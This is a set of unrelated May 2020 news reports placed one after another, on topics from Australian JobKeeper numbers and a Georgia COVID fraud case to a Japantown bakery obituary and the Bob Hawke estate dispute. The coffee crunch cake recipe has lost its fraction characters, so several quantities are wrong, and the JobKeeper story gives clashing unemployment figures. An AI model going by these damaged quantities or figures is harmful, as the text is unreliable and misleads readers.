"Our strategic partnership with OCO is a great fit for both companies, with a complementary skillset that provides in-depth expertise of the China market and how that relates to global investment. Despite the current challenges in Investment and Trade within the global economy, we look forward to leveraging OCO's 20 years+ experience in advising the world's leading economies on international expansion and FDI services. Coupled with Aventura's local capabilities and long standing experience in the Chinese market, we have the expertise to help private companies and public agencies form long-term business relationships in the Chinese and the wider Asian economy." commented Gustav Astrom, CEO of Aventura. Notes to Editor. About OCO Global OCO Global is a leading specialist provider of trade and investment services. Headquartered in Northern Ireland, OCO has offices in UK, Ireland, Germany, France, Japan, UAE, China and the U.S. OCO's clients include leading national, state and regional economic development organizations such as The Department For International Trade (DIT), Enterprise Florida and The Japan External Trade Organization (JETRO), as well as private companies seeking to enter new markets or grow their domestic base, including EY, PWC, Siemens (News - Alert), Smiley Monroe, Pepsico and Santander. About Aventura Aventura is a market expansion company focused on helping international companies and investors access the Chinese market. With over a decade of operational experience, Aventura work with private companies, private equity firms and government agencies to operate and develop business in China. Aventura offer full suite of market entry and expansion services, covering all functional needs required by our clients in China; from market intelligence & strategy, marketing & sales operations, to fulfilment and back-end support. Aventura is headquartered in Shanghai, with regional offices in Hong Kong and Ho Chi Minh City. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005339/en/

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More than half of the Australian workforce is on the government payroll after millions lost their jobs or rely on the JobKeeper scheme to get by.

Workforce participation statistics reveal 7.1 million of the country's 13.24 million-strong workforce - 53.6 per cent - are paid by taxpayers.

They include about 2 million public sector workers, 3.5 million on JobKeeper, and 1.6 million receiving JobSeeker, which covers those who have either lost their job or can't work.

More than half of the Australian workforce is on the government payroll as millions lose their jobs (unemployed pictured at Centrelink) or rely on the JobKeeper scheme to get by

Unemployment hit a five-year high of 6.2 per cent last month as thousands of businesses were forced to close in coronavirus shutdowns.

Many more companies shed staff in the general economic downturn prompted by the pandemic.

The eye-opening figures are even without a massive clerical error that cut the expected number of JobKeeper applications from 6.1 million.

The Federal Government estimated 6.5 million Australians would be receiving the $750-a-week payments based on forms filled out by eligible businesses.

But 1,000 companies incorrectly reported the number of their employees by accident, meaning the figure was far too high.

This means the estimated cost of the six-month program is $70 billion instead of $130 billion.

Unemployment hit 6.1 per cent last month as thousands of businesses were forced to close in coronavirus shutdowns. Many more companies shed staff in the general economic downturn prompted by the pandemic

The errors did not result in businesses being paid too much and only affected the government's estimation figures.

'The most common error was that instead of reporting the number of employees they expected to be eligible, businesses reported the amount of assistance they expected to receive,' the ATO and Treasury admitted on Friday.

'For example, over 500 businesses with one eligible employee reported a figure of 1,500 (which is the amount of JobKeeper payment they would expect to receive for each fortnight for that employee).'

Fewer JobKeeper applications are also expected because the lockdown and restrictions didn't last as long as anticipated.

However, demographer Mark McCrindle said many capital city centre cafes would close when the JobKeeper subsidy ran out on September 27.

Cafes and restaurants are now allowed to open, but customer limits mean many haven't brought most of their staff back. Five Docks Dining in Sydney resorted to using cardboard cutouts to make the cafe feel less empty

'A lot of employees across the board who are being sustained by that will find that the job will not be not be feasible when it's funded by the employer,' he told Daily Mail Australia.

'If we think about our CBDs, even when we do come back at the end of this year, they're probably going to be running at least 10 per cent fewer staff, maybe 20 per cent.'

University of Sydney Business School Professor John Buchanan said Australia's unemployment and underemployment would remain at elevated levels unless the government funded public sector teaching and nursing jobs.

'You've got to look at where the jobs are being lost and the workforce has taken an absolutely phenomenal hit in the last few weeks,' he told Daily Mail Australia.

'Private sector investment plans are being cut back; unless the public sector steps in, we're looking for years and years of relatively jobless growth.

'It will be very difficult to get out of that unless the public sector played a direct and leading role.'
Officials have to listen and respond to queries of members of the legislative assembly (MLAs) and work with them, Haryana Home Minister Anil Vij said on Friday, warning them not to ignore legislators.

His remarks come after legislators cutting across party lines complained to assembly Speaker Gian Chand Gupta that many government officials do not respond to their phone calls.

If (officials) they have to work in Haryana, then they will have to listen to what MLAs have to say, he warned.

They will have to attend to telephone calls of MLAs and respond to their questions, Vij said.

Big or small, any official, cannot ignore MLAs, who have status higher than that of a state chief secretary, he told reporters here.

He also said, no official should dare to ignore the MLAs.

Vij, who is also Harayan Health Minister, said that legislators should also bring these things to the notice of the chief minister.

The MLAs should bring all these things to the notice of the chief minister and the CM will definitely take strict action against such officials, Vij said.

Following the complaint by MLAs, Gupta assured the lawmakers that he would do the needful.

Gupta had told reporters that the MLAs complained of officials' non-responsive attitude during a video conference that he held with 20 lawmakers of different parties to know the situation in their respective areas amid the COVID-19 pandemic.

The speaker had said some MLAs complained that many officials do not respond to their phone calls nor do they give answers to their queries.

The legislators pointed out that being public representatives, they were answerable to the people of their constituencies and in this scenario, it creates difficulty for them in discharge of their duties amid the COVID crisis.

Gupta had also said if officials do not give response to public representatives, it amounts to breach of privileges of the elected members.

As Vidhan Sabha speaker, I have to protect the rights of the members, he had said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Spanish fisherman worked for over an hours to lift a trapped dolphin out of their fishing net and free it back into the ocean.

The fishermen from tuna fishery Almadraba La Azohia in Cartagena were joined by divers as they used a harness to move the 440lb dolphin.

Almadraba La Azohia representative Juan Paredes said: 'Any sea animal that is not meant for commercial use is sent back to the sea.

He added that last year dolphins and five manta rays became trapped.

Spanish fishermen from tuna fishery Almadraba La Azohia in Cartagena and divers got into the water to help lift the trapped dolphin out of the net

They eventually lifted the 440lb dolphin out and moved it into the open water

The footage shows a dolphin being lifted very carefully in a harness by fishermen on boats and divers in the water.

Mr Paredes explained that they had to raise the net to the surface before divers attached a harness to the dolphin to support it when it was lifted free.

He added: It was very complicated because the dolphin kept moving around, as is normal.'

As the men lift the dolphin into the air to take it over the fishing net, some of them give the dolphin a pat and a stroke.

Finally, they lower the dolphin into the open sea and cheer it on as it swims away.

Some of the fisherman gave the dolphin a stroke and pat before it was let free into the sea

Juan Paredes said: 'Dolphins along the coast sometimes stray into our tuna fishery by mistake.

'Many of them play with the buoys and try to jump over the nets, they are the most intelligent animal in the sea.'

'The best thing is when you see them swimming back to freedom and the fishermen are full of pride.'
A dance teacher who reached the Britain's Got Talent final in 2016 has been jailed for two years and nine months after repeatedly sexually abusing a child.

Christopher Gittins, 23, used the boy as an 'emotional crutch' and repeatedly abused his victim for his own 'gratification', Caernarfon Crown Court heard.

He pleaded guilty to six counts relating to him engaging in sexual activity with the boy, who was aged between 13 and 15, ahead of being sentenced yesterday.

Gittins was a member of Britain's Got Talent dance act BoogieStorm, the breakdancing Stormtroopers who reached the ITV final four years ago.

His offences are in the most serious category under the sentencing guidelines, aggravated by the 'significant difference in age' between him and the victim, now 15.

Judge Niclas Parry, sentencing, told him: 'This has been an abuse of trust. You took advantage of a 13-year-old. What you did was to groom him and cause him to believe he was special. You would call him and buy him gifts.

'You clearly knew that what you were doing was illegal.'

Christopher Gittins (right), 23, used the boy as an 'emotional crutch' and repeatedly abused his victim for his own 'gratification', Caernarfon Crown Court heard

Gittins' offences are in the most serious category under the sentencing guidelines, aggravated by the 'significant difference in age' between him and the victim, now 15

The court heard how the incidents gad taken place at locations including Powis Castle grounds near Welshpool, and a public toilet in the town.

The incident occurred over two months in 2018.

Prosecuting, John Philpotts, said the matter came to light when the teen's mother borrowed his phone and read the Facebook messages from Gittins.

Reading her impact statement in court the victim's mother told Gittins that he had robbed him of his 'childhood' and his 'innocence'. She said he had lost his friends and his confidence as a result of what had happened.

'When I read the messages you sent to my son, I felt sick,' she told him.

The victim said the experience left him 'anxious' and that his education had suffered.

Gittins was a member of Britain's Got Talent dance act BoogieStorm, the breakdancing Stormtroopers who reached the ITV final four years ago

Gittins was arrested on January 9, 2019, the day after his mother reported her suspicions to Newtown Police Station.

Defending, John Hedgecoe, told the court: 'He has indicated remorse and has accepted his responsibility throughout.'

Gittins, of Welshpool, was jailed for two years and nine months on each count to be served concurrently. He must serve half before being released on licence.

He was also made subject to a Sexual Harm Prevention Order for life meaning he cannot approach males aged under 16. He must also pay the victims' surcharge.

BoogieStorm reached the final of ITV's Britain's Got Talent in 2016.

They received Simon Cowell's Golden Buzzer which sent them through automatically to the finals where they came third behind series winner magician Richard Jones.
Santwon Antonio Davis, 34, is charged with defrauding his employer, the U.S. attorney's office in Atlanta said in a news release Thursday

A Georgia man faces charges after authorities say he lied to his employer that he had tested positive for COVID-19.

Santwon Antonio Davis, 34, is charged with defrauding his employer, the U.S. attorney's office in Atlanta said in a news release Thursday.

Because Davis said he'd tested positive, his employer had to shut down its plant for sanitizing and put several other employees on paid leave while they quarantined, causing the company a loss of more than $100,000, prosecutors said.

He had his initial court appearance Thursday and was granted bond, according to online court records. A telephone number for Davis could not be found, and his lawyer did not immediately respond to an email seeking comment.

'The defendant caused unnecessary economic loss to his employer and distress to his coworkers and their families,' said U.S. Attorney Byung J. 'BJay' Pak in a release. 'We will take quick action through the Georgia COVID-19 Task Force to put a stop to criminals preying on Georgia companies and the public with Coronavirus-related fraud schemes.'

Prosecutors say Davis has since admitted he didn't have COVID-19.

Davis worked for an unnamed Fortune 500 company with a plant in the Atlanta area, prosecutors said. Facebook profiles attributed to Davis indicate he works for PPG Industries, who has a plant in the Atlanta area.

On March 12 and 13, the company held mandatory training on how employees could access information on its website about COVID-19, the disease caused by the coronavirus. Employees were told they would receive paid time off to quarantine if they tested positive.

A week later, Davis got a call at work and told his supervisors his mother, with whom he lived, had been exposed to someone who'd tested positive for COVID-19 and had been told to self-quarantine, according to a sworn statement from an FBI agent filed in court. His supervisor said Davis could continue working because that was a 'low risk' exposure, but he checked out early, saying he was worried about his mother.

Because Davis said he'd tested positive, his employer had to shut down its plant for sanitizing and put several other employees on paid leave while they quarantined, causing the company a loss of more than $100,000, prosecutors said

The next day, Friday, March 20, Davis texted his supervisor to say his mother had developed symptoms overnight and they were waiting for her test results, the agent's statement says. Again, his supervisor said he could work because that was a 'low risk' exposure, but Davis didn't show up for work.

Over that weekend, Davis texted his supervisor on Saturday to say his mom had tested positive for COVID-19 and that he had a fever and again on Sunday saying that he'd tested positive, the agent's statement says. That Sunday evening, the supervisor asked Davis to send him a copy of his test results and explained that if Davis had COVID-19 the company would have to shut for cleaning and other employees who'd worked closely with him would have to quarantine.

Prosecutors say Davis has since admitted he didn't have COVID-19

The company's human resources manager reviewed the medical excuse letter Davis sent and saw some indications of fraud, the FBI agent's statement says. For example, it said he was discharged in November 2019, was unsigned and didn't appear to be on formal letterhead. The company also called the hospital where Davis said he'd been tested and found out that it wasn't doing COVID-19 tests.

After repeated unsuccessful attempts to get Davis to send his test results, the company told him on March 25 that he'd been suspended and would be fired if he didn't send them by 3pm that day, the agent's statement says. Davis never responded or provided test results and has been fired.

Relying on what Davis had said, the company closed its plant on March 23 for cleaning and paid salaries of at least four employees while they quarantined because they'd been in close contact with Davis, the agent's statement says.

Davis 'caused unnecessary economic loss to his employer and distress to his coworkers and their families,' U.S. Attorney Byung J. 'BJay' Pak said in a news release, adding that law enforcement will act quickly 'to put a stop to criminals preying on Georgia companies and the public with Coronavirus-related fraud schemes.'
BAKU, Azerbaijan, May 22

By Nargiz Sadikhova - Trend:

Russias Bashkortostan intends to increase export of halal products to Kazakhstan, a representative of Bashkortostans State Committee on Foreign Economic Relations told Trend.

Earlier this month, it was reported that a representative office of Russias Bashkortostan may opened in Kazakhstan. The decision was made during a meeting of the Bashkortostans Investment Committee in the format of videoconference.

Kazakhstan is a long-standing and important partner of Bashkortostan. Fruitful work is being carried out at the interstate and interregional level in both the economic and humanitarian spheres. Cooperation of Kazakhstan and Bashkortostan is based on the agreements on cooperation in trade, economic, scientific, technical and humanitarian fields with akimat [administrative centers] of Pavlodar, Atyrau regions and Nur-Sultan city, the official said.

The official said that Kazakhstan is among top five partner countries of Bashkortostan in terms of foreign trade turnover ($338.5 million in 2018, $361.2 million in 2019). Over 60 joint companies currently operate in areas of agriculture, petrochemistry, forest industry.

The creation of a representative office will make it possible to systematize all areas of work, and bring Bashkir-Kazakh relations to a new level, primarily in the economy, the official said.

For example, Bashkortostan actively supplies a wide range of goods to Kazakhstan, including chemical, fuel and energy products, wood, food products, metals, engineering products and glass. There are plans to expand the list of exported halal goods. Implementation of joint projects in aircraft manufacturing, production of soda ash, attracting investments in the field of road facilities, petrochemicals and oil refining is also possible. The areas of tourism, recreation, education, as well as the media sphere deserve special attention, the official said.

The representative offices operations will include promoting the interests of Bashkortostan in Kazakhstan, providing support in expanding bilateral relations between the parties in economy, culture and other fields, ensuring the promotion of Bashkir production on Kazakh market, assisting in organization of joint business missions, congresses, exhibitions and cultural events, the official said.

Currently, a possible legal form of the institution is being determined, the official said.

---

Follow the author on twitter: @nargiz_sadikh
After a temporary closure due to the citys shelter-in-place order, Yasukochis Sweet Stop in San Franciscos Japantown reopened Thursday, May 21, offering its classic pastries and much-lauded coffee crunch cake to dessert lovers once more. But the 46-year-old bakery, designated a San Francisco Legacy Business last fall, will be going on without one of its original owners: Hatsuye Hatsy Yasukochi, who passed away due to complications from COVID-19 on March 27. The Bay Area native had just celebrated her 80th birthday on March 7, surrounded by her family.

Albert Cheng, a retired educator and longtime San Franciscan, will always remember the cakes that Hatsy Yasukochi would decorate for his sons birthday parties in the 70s, with elaborate superhero and cartoon motifs that she would provide free of charge. They were absolutely stunning, he says. The tiny bakery on Sutter Street that Yasukochi owned with her husband, Hisao Moses Yasukochi, was a frequent stop for Cheng and his family; not only for its pastries, but for the welcoming atmosphere that the couple cultivated.

I love meeting people, she told KTVU last fall. I was decorating all their little childrens cakes, Minnie Mouse, Mickey Mouse, Snoopy, Winnie the Pooh Now its their children and their grandkids.

Regulars and even just occasional seekers of coffee crunch cake remember Hatsys beaming smile, the first thing they would see as they entered the cozy bakery.

Ive seen her over 40-some years, Cheng says, and we grew old together. I have never seen her not smile  it was a beautiful, crescent moon-shape smile.

The shop was the Yasukochis life, says daughter Erin Yamamura, whose father is now retired. It was a way for them to be able to give to the people they cared about  to their family, to the community. They saw it as a way to be a part of the greater good.

Born in 1940 in Oakland, Yasukochi was raised in Concord and Lafayette, though she had a significant parenthesis inserted into her childhood: Her family was forcibly displaced and interned at concentration camps in Rohwer, Ark., and Tulelake (Siskiyou County) from 1942 to 1945, the period of mass internment of Japanese Americans. Upon her familys return to the East Bay, Yasukochi went on to attend Mount Diablo High in Concord and graduate from San Francisco State University. At 24, she married Moses Yasukochi, also known as Tom, a native San Franciscan and baker with whom she had three daughters: Stacey, Wendy and Erin.

In 1974, Moses was offered the opportunity to open a bakery inside of the American Fish Market (now the Super Mira Market) in Japantown; and thus, the Yasukochis Sweet Stop was born. From the beginning, the shops wares were classic American sweets like Swiss rolls filled with strawberry cream, Danishes and layer cakes  the most famous of which was the coffee crunch cake, modeled off of the famous one sold at Blums, a Bay Area pastry shop chain that went out of business in the 1970s.

The original, which is sometimes referred to as the Koffee Krunch Kake, was invented by Blums master baker Ernest Weil, and Moses picked up its technical intricacies from a colleague who used to work at the chain. While Moses prepared the cakes, pastries and cookies that filled the shops glass case, Hatsy was the face of the shop.

According to Yamamura, the shop was so important to her that her mother refused to retire: Even after the Yasukochis eldest grandson, Kenji Yick, took over the shop in 2017, her mother would still show up day after day. What of the customers who would miss the way she greeted them by name, or the children shed sneak cookies to with a conspiratorial smile? Who would show off the classic pink Blums menu that she kept at the counter?

Hatsy was diagnosed with stage three lung cancer last year, Yamamura says, but even through the chemotherapy treatments, she was still going to work, saying, No, I have to go in. After 45 years of commanding the counter at Yasukochis Sweet Stop, Hatsy finally stepped away shortly after Christmas when her health issues got in the way.

Yamamura says her family plans to hold a celebration of life for her mother, but theyre unsure of exactly when, considering the pandemic. Still, those who wish to honor Yasukochis memory can do so by visiting the bakery. I hope that people remember her smile and remember her for her kindness and generosity. Basically, to not just be a statistic of COVID-19.

Yasukochis Sweet Stop is now open for takeout 10 a.m.-4 p.m. Thursdays-Saturdays. Call 415-931-8165 to pre-order cakes. 1790 Sutter St., San Francisco.

Soleil Ho is The San Francisco Chronicles restaurant critic. Email: soleil@sfchronicle.com Twitter: @hooleil

Blums Coffee Crunch Cake

Serves 12

Aside from Its-It ice cream sandwiches, if theres one dessert that is inextricably linked with San Francisco, it has to be the coffee crunch cake from the late, great bakery-soda fountain chain, Blums. The cake was invented in the 1940s by Ernest Weil, operations manager for the beloved bakery, after one confectioner accidentally made some candy too hard to chew. To salvage the cooks mistake, Weil smashed the candy and spread it over a three-layer sponge cake coated in coffee-flavored whipped cream.

Weil eventually moved on from Blums to open his own bakery, Fantasia Confections in Laurel Heights, which he operated until 1989. There, he continued to make and sell the famous cake. Several years before Weil passed away in 2010, he penned a cookbook, Love to Bake Pastry Cookbook. The book, now out of print, featured his signature recipes  including the coffee crunch cake.

A handful of local bakeries, including Yasukochis Sweet Stop in Japantown and Chinatowns Eastern Bakery, continue to make their own versions of the classic cake. And, of course, you can make it at home thanks to this recipe from a 1997 column by the late cookbook author Flo Braker, who proclaimed the coffee crunch cake to be her all-time favorite classic dessert.

Cake

1 cups cake flour, sifted

1 cups sugar, divided

 teaspoon salt

6 egg yolks

1 cup (7 to 8) large egg whites

1 teaspoon cream of tartar

1 teaspoon vanilla

1 tablespoon fresh lemon juice

1 teaspoon grated lemon zest

Coffee Crunch

Unflavored vegetable oil

1 tablespoon baking soda, sifted

 cup strong brewed coffee

1 cups sugar

 cup light corn syrup

Frosting

2 cups heavy cream

2 tablespoons sugar

2 teaspoons vanilla

To make the cake: Adjust rack in lower third of oven; preheat oven to 350 degrees.

Sift flour,  cup sugar and the salt onto a sheet of wax paper; set aside.

Using an electric mixer, beat egg yolks with  cup sugar until thick and pale yellow. Add  cup water and beat until thickened, about 4 minutes. Set aside.

In a clean bowl, using cleaned beaters or the whip attachment, whisk egg whites using a heavy-duty mixer just until frothy. Add cream of tartar; whisk until soft peaks form. Add remaining  cup sugar in a steady stream, whisking until thicker, stiffer, glossy peaks form  about 2 to 3 minutes. Whisk in vanilla, lemon juice and lemon zest. Pour yolk mixture over whites. Fold together with a rubber spatula.

Using a metal spatula, scoop up a third of the flour mixture and sprinkle over mixture; fold in with a rubber spatula. Repeat two more times just until ingredients are incorporated. Gently pour batter into an ungreased 10-inch round tube pan with removable bottom (such as an angel food pan). Level top with a rubber spatula. Bake for 50 to 55 minutes, or until top springs back slightly when lightly touched. Invert pan over a long-necked bottle to cool for about 45 minutes.

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To remove cake from pan, slip a flexible metal spatula down one side of pan; slowly trace perimeter to release the cake. When sides are free, push up on bottom to release cake. Tilt cake, with removable bottom still attached, and gently tap bottom against counter to loosen cake. Rotate cake, tapping a few more times, until it appears free. Cover cake with a rack, and invert; remove bottom of pan.

To make the coffee crunch: Generously oil a large baking sheet; sift baking soda onto a sheet of wax paper; set nearby. Combine coffee, sugar and corn syrup in a heavy, 4-quart saucepan. Place over medium-low heat, stirring occasionally, until sugar dissolves. When mixture is clear and begins to boil, increase heat to medium-high; cook until mixture reaches 290 degrees on a candy thermometer. Toward the end of cooking (270 to 280 degrees), stir occasionally to prevent mixture from scorching and becoming too foamy). Remove from heat and stir in baking soda (mixture will foam up fiercely). While still foaming, pour out onto oiled baking sheet. Do not spread; let cool undisturbed for at least 1 hour.

Crush into very small pieces. (Place between 2 sheets of wax paper and tap or roll with rolling pin.) Store in an airtight container.

To make the frosting: Combine cream, sugar and vanilla in a heavy-duty mixer; beat on high speed until cream holds soft peaks.

To assemble: Slice cooled cake into 3 equal layers using a serrated knife. Spread whipped cream between each layer, carefully stacking layers. Spread remaining whipped cream over top and sides of cake. Refrigerate.

Just before serving, generously sprinkle top and sides with the coffee crunch.
Jio Platforms is clearly the flavor of the month among leading U.S. tech investors. But why? Home to 1.35 billion people, India is quickly catching up with more technologically advanced nations and investors don't want to miss out on the opportunity that India presents.

Elsewhere, Silicon Valley venture capital firm Silver Lake said it was investing $750 million 18 days ago, and Austin-headquartered private equity firm Vista said it was taking a $1.5 billion stake 14 days ago.

The announcement comes one month after Facebook said it was investing $5.7 billion in Jio Platforms in exchange for a 9.9% stake. It was Facebook's biggest deal since its $19 billion WhatsApp purchase.

Jio Platforms, owned by billionaire Mukesh Ambani's Reliance Industries, announced in a statement on Friday that New York-headquartered private equity firm KKR is pledging $1.5 billion for a 2.32% stake in the company at a valuation of $65 billion.

U.S. investors are piling billions into Indian telecom operator Jio Platforms as they look to capitalize on the country's booming digital economy.

Jio Platforms operates the Jio Infocomm telecom network, which has amassed over 388 million 4G subscribers since launching in 2016. Today it is India's top telco and it also has several apps, and other services in e-commerce and broadband.

"Jio offers mobile Internet for nearly free and tries to make money by up-selling subscriptions to their own versions of Spotify and Netflix," said Vishal Gulati, a venture capital investor at London firm Draper Esprit.

Ambani, India's richest man, is in the process of trying to sell approximately 20% of Jio Platforms to raise cash for debt-ridden parent company Reliance Industries, which is heavily involved in oil and petrochemicals. It reportedly has a net debt pile of around $20 billion.

Roughly $9 billion of equity in Jio Platforms has been sold to U.S. investors in the last few weeks.

Saudi Arabia's sovereign wealth fund and Mubadala, the sovereign wealth fund of Abu Dhabi, are also considering taking large stakes of around $1.5 billion and $1.2 billion respectively, according to The Financial Times.

"Few companies have the potential to transform a country's digital ecosystem in the way that Jio Platforms is doing in India, and potentially worldwide," said Henry Kravis, cofounder and co-CEO of KKR, in a statement.

"Jio Platforms is a true homegrown next generation technology leader in India that is unmatched in its ability to deliver technology solutions and services to a country that is experiencing a digital revolution."
Former prime minister Bob Hawke's daughter Rosslyn Dillon wanted $4.2million from her father's estate

A bid by Bob Hawke's youngest daughter to obtain $4.2million from the long-serving Labor prime minister's estate has been settled out of court.

Rosslyn Dillon, 59, was contesting the former prime minister's will, claiming the $750,000 he left each of his children was not enough for her to live on.

The resolution avoids a potentially costly and lengthy hearing which would have aired the family's private affairs in public.

Ms Dillon had demanded funds to buy a $2.5million house in Sydney - furnished with towels worth $4,000 - and wanted $30,000 for a new set of teeth.

The recovering heroin addict also alleged she was raped by Victorian Labor MP Bill Landeryou in the 1980s and Mr Hawke covered it up to protect his career.

Ms Dillon's challenge to the will was due to be mentioned before Justice Philip Hallen in the New South Wales Supreme Court on Friday but was settled out of court.

'The final orders haven't yet been made but the Judge was advised yesterday that the matter had resolved,' a NSW Supreme Court spokeswoman said.

'He's considering the settlement documents in chambers today.'

Bob Hawke's widow Blanche d'Alpuget was dragged into legal action the former prime minister's daughter took against his multi-million dollar estate. The case was settled out of court on Friday. The couple is pictured arriving at the Sydney Opera House for his 80th birthday

Bob Hawke's wayward daughter Rosslyn Dillon was demanding a $2.5million house in Sydney kitted out with $4,000 worth of towels in her lawsuit against his estate. Mr Hawke and Ms Dillon are pictured at the memorial service for Hazel Hawke, his former wife and her mother

Mr Hawke's widow, Blanche d'Alpuget, was a defendant in the matter along with the executors of her dead husband's will, as she holds the proceeds of the couple's former joint tenancy.

Ms d'Alpuget, 76, revealed last month she had been diagnosed with breast cancer and was undergoing chemotherapy at The Kinghorn Cancer Centre in Darlinghurst.

She declined to comment on the settlement when contacted by The Australian on Friday.

'I'm not well at the moment, I'm being treated for cancer,' she said. 'I'm just focusing on my health now.'

Ms Dillon's mother, Hazel Hawke, died eight years after Mr Hawke married Ms d'Alpuget, his biographer and long-time mistress.

Ms Dillon's affidavit, filed in the Supreme Court in December, revealed she was on welfare, lived in a squalid flat at Randwick, and all her teeth had been taken out.

Her list of demands, itemised in a claim originally obtained by the New Daily, began with $2.5million to buy a house in Sydney's eastern suburbs.

This would be a considerable upgrade on the one-bedroom flat Ms Dillon lives in now, which she claims is in need of repair and infested with cockroaches - despite its $500-a-week rent.

Ms Dillon suffers from depression, anxiety, post traumatic stress disorder and agoraphobia, and says she lives on a disability pension of $1,852.40 per month.

She claimed the $750,000 set aside for her in Mr Hawke's will was not enough to buy a Sydney home and would slash the pension that was her only income.

Australia's longest-serving Labor prime minister left $750,000 each to his three children Sue Pieters-Hawke, Stephen Hawke, Rosslyn Dillon and his stepson Louis Pratt. Mr Pratt is the son of Mr Hawke's second wife Blanche d'Alpuget (pictured)

The 59-year-old's affidavit cited Australian Bureau of Statistics estimates she would live 27.6 more years and would therefore need $1.2million to cover her expenses.

Ms Dillon currently has about $21,000 to her name including $6,000 cash and $14,000 in Ansett superannuation from working at a VIP airport lounge in Canberra in the 1980s.

Her proposed new home would have its kitchen and bathroom renovated for an extra $30,000 each, and be kitted out with all-new appliances.

Ms Dillon's affidavit listed $4,000 for linen and towels, $3,100 for kitchen appliances and $5,500 for other kitchen items, $16,000 for household appliances, $50,000 for furniture, and $6,000 for new clothes and shoes.

Mr Hawke's second wife and biographer Blanche d'Alpuget received the bulk of his estate including the $9.2million proceeds of selling their Northbridge mansion months before his death. The couple is pictured in Sydney in 2012

Ms Dillion wanted $30,000 for a full mouth of implanted dentures to replace the ones she has been wearing for the past five years.

'I have no teeth of my own in my mouth,' she said.

Rosslyn Dillon's list of demands House in Sydney's eastern suburbs: $2.5 million Stamp duty: $123,090 Conveyancing fees: $2,000 Computer course: $1,030 Dental implants: $30,000 Funeral, burial plot, headstone: $26,000 Kitchen renovation: $30,000 Bathroom renovation: $30,000 Kitchen appliances: $3,100 Linen and towels: $4,000 Kitchen items: $5,500 Household appliances: $16,000 Furniture: $50,000 Clothes and shoes: $6,000 Advertisement

'I had them all removed around five years ago at a cost of $8,000. I do have dentures, however they are uncomfortable and cause me pain. I cannot afford to have them replaced.'

Having made no plans for her funeral, she demanded a 'reasonably priced' $7,000 service, and a $14,400 burial plot at Eastern Suburbs Cemetery with a 'modest' $5,000 headstone or $4,400 memorial plaque.

Ms Dillon has no computer or access to the internet but wanted $1,030 to attend a computer course, and for her new home to have a sewing machine.

Ms d'Alpuget received the bulk of her second husband's estate including the $9.2million proceeds of selling their Northbridge mansion months before his death at 89 last May.

She now lives in a $3.9 million flat in One30 Hyde Park she and Mr Hawke bought in her name.

Ms d'Alpuget previously dismissed Ms Dillon's brewing legal challenge as being fuelled by grief at her father's death.

Another of Mr Hawke's daughters, Sue Pieters-Hawke, told The New Daily her family knew of the rape allegations and that they had distressed their father.

She insisted the family was supportive of Ms Dillon at the time but that it 'didn't involve using the legal system'.

The Hawke family is pictured during the 1987 election campaign. Daughter Sue is cradling her daughter Sophie, Mr Hawke's wife Hazel is next to him and daughter Rosslyn is next to her

Bob Hawke is pictured marrying his biographer Blanche D'Alpuget in 1995 in Sydney

Ms Dillon alleged in the affidavit she was raped three times in the 1980s by politician Bill Landeryou, a close friend of Mr Hawke.

But as she turned to her father for comfort, she said she was met with a 'shocking and hurtful' response as he pleaded with her to stay quiet.

Bill Landeryou (pictured) was a close friend of Bob Hawke's. He died in February last year

He feared it could derail his political career when he was on the cusp of becoming Labor leader.

Ms Dillon said in her affidavit she told her father of the alleged rape soon after it occurred.

'You can't go to the police,' she claimed her father said.

'You can't. I can't have any controversies right now. I am sorry but I am challenging for the leadership of the Labor Party.'

Ms Dillon admitted she was 'shocked and hurt that [my father] asked this of me'.

As a result of pressure from her father, once one of Australia's most beloved politicians, she never went to the police.

Now a mother-of-two, Ms Dillon explained she was still 'haunted' by the assaults as she was never able to get 'closure' because of her father's demands.

Bob Hawke and Blanche d'Alpugete's mansion (pictured) at Northbridge, overlooking Middle Harbour on Sydney's Lower North Shore, sold for $9.2million in March last year

What Ms Dillon claims happened when she told her father Bob Hawke she had been raped by his MP friend According to an affidavit submitted by Rosslyn Dillon, she told her father about the rapes in the 1980s. Dillon: 'Bill (Landeryou) has raped me three times.' Hawke: 'What? he touched you?' Dillon: 'No, he forced me to have sex with him three times. I want to go to police.' Hawke: 'You can't. I can't have any controversies right now. I am sorry but I am challenging for the leadership of the Labor Party. You can't go to police.' Advertisement

'I thought to myself, I could not make any bigger sacrifice to the (my father's) political career if I had tried,' the affidavit said.

'He asked me to let the matter go for him and I did so for him.'

'I am still haunted by the sexual assaults. I feel that I may have had a chance to get over these rapes if I was able to report the incidents to police.'

At the time, Mr Hawke was close friends with Landeryou, an MP in the Victorian Upper House.

He was one of Mr Hawke's chief supporters in his bid to become prime minister, and had his own state funeral in March last year.

Ms Dillon had been using heroin in the early 1980s when her father intervened to get her a job in Mr Landeryou's office.

It was then the sexual assaults began, she claimed.

'During the time I was employed there I was often alone in Landeryou's office. At some time he started to touch me in a sexual way,' she stated.

Mr Hawke and Ms d'Alpuget spent $3.6million on an apartment (building pictured) with views of Sydney Harbour and Hyde Park which is likely to have appreciated in value since they bought it in November 2015

Justice Hallen previously heard mediation planned in late March did not go ahead as former District Court judge John Sulan QC, could not travel from South Australia.

Lawyers for the parties went ahead with a settlement conference on March 31 but did not reach an agreement.

Both parties then sought to adjourn the matter until Mr Sulan could mediate via video conference at a later date. A mediation was due to occur on May 7.

Mr Hawke was Australia's longest serving Labor prime minister.

Mr Hawke's eldest sister Sue, 62, and brother Stephen, 60, were left the same amount as Ms Dillon, as was Ms d'Alpuget's son Louis Pratt. Ms d'Alpuget was left with everything else.

Mr Hawke's married Ms d'Alpuget, with whom he had conducted a long-running affair, in 1995 after divorcing Hazel, his wife of 38 years.
Among the casualties of the COVID-19 pandemic is the Spring to Dance Festival, which debuted in 2008 and has become not only a prestigious and much-anticipated showcase for companies and choreography but also a highlight of the Memorial Day weekend in St. Louis.

Presented in both the Lee Theater and the Anheuser-Busch Performance Hall at the Blanche M. Touhill Performing Arts Center, the Dance St. Louis season-ender consistently attracts big crowds. The three-day festival was reduced to two days in 2018 but in 2019 returned to its Thursday-through-Friday schedule.

The Spring to Dance Festival has showcased about 30 acts each year  reflecting a wide range of styles, from ballet to hip-hop, and an impressive geographical reach, with a particular emphasis on companies from the Midwest. And for quite a few folks, it has been an entryway to dance as an art form.

The excitement generated onstage as well as offstage will be missed. But the event is expected to return in 2021.

For more than a decade, the Spring to Dance Festival has been the backbone of the Dance St. Louis season, said Richard M. Dee, the organizations executive director. I cant imagine a future season without it. The festival is definitely here to stay.

Not only has the event established its own fan base, but it has also helped to increase attendance at other Dance St. Louis shows, Dee said.

